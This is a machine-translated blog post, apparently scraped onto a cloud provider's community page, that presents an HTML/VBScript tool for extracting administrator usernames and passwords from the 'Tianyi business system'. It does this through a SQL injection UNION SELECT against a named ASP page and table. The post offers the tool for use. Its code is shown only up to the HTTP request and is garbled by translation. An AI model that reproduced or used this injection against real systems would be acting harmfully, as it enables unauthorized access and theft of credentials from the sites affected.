Tianyi business system background management account cracking html

Source: Internet
Author: User
Tags chr sql injection
Tianyi business system background management account cracking html
/**
Ciqinqiang
Http://blog.111cn.net/cqq
*/
Since I wrote a program to crack the business system,
I have received emails from many friends,
Ask about program principles and how to protect them.

Today, I took some time and made this Html version, only this htm file is available.
I believe that anyone who has some knowledge about html and SQL Injection can understand it.
The principle is very simple. The SQL Injection method is used to crack the user account,
This system has the SQL injection Vulnerability in many places,
Then you can easily find out the problem by downloading the system.

Previously, it was a Vc ++ version, and now it is an html version, but they are all the same,
The source file of the webpage is obtained through the http protocol.
Analyze the source file and find the user name and password.
And displayed.
The following figure shows the source code. You only need to save the file to a hard disk and name it ty.htm.
<Html>
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">
<Title> Tianyi business system background management account cracking html edition-ci Qinqiang production </title>
<SCRIPT Language = "VbScript">
Function bytes2BSTR (vIn)
StrReturn = ""
For I = 1 To LenB (vIn)
ThisCharCode = AscB (MidB (vIn, I, 1 ))
If ThisCharCode <& H80 Then
StrReturn = strReturn & Chr (ThisCharCode)
Else
NextCharCode = AscB (MidB (vIn, I + 1, 1 ))
StrReturn = strReturn & Chr (CLng (ThisCharCode) * & H100 + CInt (NextCharCode ))
I = I + 1
End If
Next
Bytes2BSTR = strReturn
End Function
Sub OpenUrl (strUrl)

StrTmp = ""
StrUser = "! "
StrAAA = ""
StrCqq = ""
I = 0
On Error Resume Next
While Trim (strUser) <> ""
StrPara = "/wlyx/show_cgal.asp? Newsid = 1% 20and % 201 = 2% 20 union % 20 select % 201, username % 2b '***' % 2 bpassword, 3,4, 5, 6% 20 from % 20manage_user % 20 where % 20 username> '"+ strUser +"' % 20 union % 20 select % 20 * % 20 from % 20 cgal % 20 where % 201 = 2"
Set xmlhttp = CreateObject ("Microsoft. XMLHTTP ")
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.